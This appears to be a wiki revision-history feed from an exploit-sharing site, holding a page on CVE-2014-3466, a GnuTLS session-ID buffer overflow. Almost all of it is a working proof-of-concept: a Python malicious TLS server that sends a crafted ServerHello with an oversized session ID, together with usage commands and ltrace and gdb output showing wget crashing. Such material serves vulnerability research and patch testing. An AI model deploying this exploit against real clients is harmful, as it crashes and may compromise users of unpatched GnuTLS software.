https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2014-3466_GnuTLS%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BC%8F%E6%B4%9E
CVE-2014-3466 GnuTLS緩衝區漏洞 - Revision history
2026-04-14T21:35:22Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2014-3466_GnuTLS%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BC%8F%E6%B4%9E&diff=1075&oldid=prev
Pwnwiki: Created page with "==Usage== <pre> $ python poc.py 4433 </pre> <pre> $ ldd $(which wget) ... libnettle.so.4 => /usr/lib/x86_64-linux-gnu/libnettle.so.4 (0x00007fa8a026e000) libgnutls.so.28 =..."
2021-04-07T03:24:42Z
<p>Created page with "==Usage== <pre> $ python poc.py 4433 </pre> <pre> $ ldd $(which wget) ... libnettle.so.4 => /usr/lib/x86_64-linux-gnu/libnettle.so.4 (0x00007fa8a026e000) libgnutls.so.28 =..."</p>
<p><b>New page</b></p><div>==Usage==<br />
<pre><br />
$ python poc.py 4433<br />
</pre><br />
<br />
<pre><br />
$ ldd $(which wget) <br />
...<br />
libnettle.so.4 => /usr/lib/x86_64-linux-gnu/libnettle.so.4 (0x00007fa8a026e000)<br />
libgnutls.so.28 => /usr/lib/x86_64-linux-gnu/libgnutls.so.28 (0x00007fa89ff5c000)<br />
...<br />
<br />
$ ltrace -riS -e gnutls_handshake wget -d https://localhost:4433<br />
...<br />
0.000096 [0x4308a0] wget->gnutls_handshake(0xdf5380, 4, 0xa4dd30, 0x7f30f2731620 <unfinished ...><br />
0.000216 [0x7f30f246b807] SYS_writev(4, 0x7fffc0b9c970, 1) = 272<br />
0.000067 [0x7f30f2473a4d] SYS_recvfrom(4, 0xdf7920, 5, 0) = 5<br />
0.500357 [0x7f30f2473a4d] SYS_recvfrom(4, 0xdfbad0, 250, 0) = 250<br />
0.000095 [0x7f30f2e408f0] --- SIGSEGV (Segmentation fault) ---<br />
0.004670 [0xffffffffffffffff] +++ killed by SIGSEGV +++<br />
<br />
$ sudo apt-get install libgnutls28-dbg<br />
$ gdb --args wget https://localhost:4433<br />
...<br />
(gdb) r<br />
...<br />
(gdb) bt full<br />
...<br />
#0 0x00007ffff79548f0 in _gnutls_supported_ciphersuites (session=session@entry=0xa5e380, <br />
cipher_suites=cipher_suites@entry=0x7fffffffd340 <incomplete sequence \366\245>, <br />
max_cipher_suite_size=max_cipher_suite_size@entry=512) at ciphersuites.c:1311<br />
#1 0x00007ffff78c759a in _gnutls_client_set_ciphersuite (session=session@entry=0xa5e380, <br />
suite=suite@entry=0xa64b5b '\377' <repeats 111 times>) at gnutls_handshake.c:1525<br />
#2 0x00007ffff78cae15 in _gnutls_read_server_hello (datalen=<optimized out>, <br />
data=0xa64a70 "\003\001S\213\177c\301\016\035r\n\263\370\247\017\365]ieXB\200\301\373Oۚ\252\004\243\323Kq\307\310", '\377' <repeats 165 times>..., session=0xa5e380) at gnutls_handshake.c:1778<br />
#3 _gnutls_recv_hello (session=session@entry=0xa5e380, <br />
data=0xa64a70 "\003\001S\213\177c\301\016\035r\n\263\370\247\017\365]ieXB\200\301\373Oۚ\252\004\243\323Kq\307\310", '\377' <repeats 165 times>..., datalen=<optimized out>) at gnutls_handshake.c:2222<br />
#4 0x00007ffff78cb64f in _gnutls_recv_handshake (session=session@entry=0xa5e380, <br />
type=type@entry=GNUTLS_HANDSHAKE_SERVER_HELLO, optional=optional@entry=0, buf=buf@entry=0x0)<br />
at gnutls_handshake.c:1442<br />
...<br />
</pre><br />
<br />
<br />
==POC.py==<br />
<pre><br />
#!/usr/bin/env python<br />
#<br />
# PoC for CVE-2014-3466 <br />
# (gnutls: insufficient session id length check in _gnutls_read_server_hello)<br />
#<br />
# Author: Aaron Zauner <azet@azet.org><br />
# License: CC0 1.0 (https://creativecommons.org/publicdomain/zero/1.0)<br />
#<br />
import sys<br />
import socket<br />
import time<br />
<br />
# Record Layer<br />
R_Type = '16' # Handshake Protocol<br />
R_Version = '03 01' # TLS 1.0<br />
R_Length = '00 fa' # 250 Bytes<br />
<br />
# Handshake Protocol: ServerHello<br />
HS_Type = '02' # Handshake Type: ServerHello<br />
HS_Length = '00 00 f6' # 246 Bytes<br />
HS_Version = '03 01' # TLS 1.0<br />
HS_Random = '''<br />
53 8b 7f 63 c1 0e 1d 72 0a b3 f8 a7 0f f5 5d 69 <br />
65 58 42 80 c1 fb 4f db 9a aa 04 a3 d3 4b 71 c7<br />
''' # Random (gmt_unix_time + random bytes)<br />
HS_SessID_Len = 'c8' # Session ID Length 200 Bytes (!)<br />
HS_SessID_Data = '''<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff<br />
''' # Session ID Data (Payload)<br />
<br />
MaliciousServerHello = (<br />
R_Type + R_Version + R_Length + <br />
HS_Type + HS_Length + HS_Version + <br />
HS_Random + HS_SessID_Len + HS_SessID_Data<br />
).replace(' ', '').replace('\n', '').decode('hex')<br />
<br />
def main():<br />
try:<br />
PORT = int(sys.argv[1])<br />
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
sock.bind(('', PORT))<br />
sock.listen(1)<br />
print "-- started listener on port", PORT<br />
<br />
while True:<br />
conn, addr = sock.accept()<br />
print "<< client connected:", addr<br />
<br />
time.sleep(0.5) # wait for ClientHello :P<br />
if conn.send(MaliciousServerHello):<br />
print ">> sent payload to", addr[0]<br />
<br />
conn.close()<br />
finally:<br />
sock.close()<br />
<br />
if __name__ == '__main__':<br />
if len(sys.argv) <= 1:<br />
print " Usage:\n\tpython poc.py [port]\n"<br />
exit(1)<br />
<br />
main()<br />
<br />
</pre></div>
Pwnwiki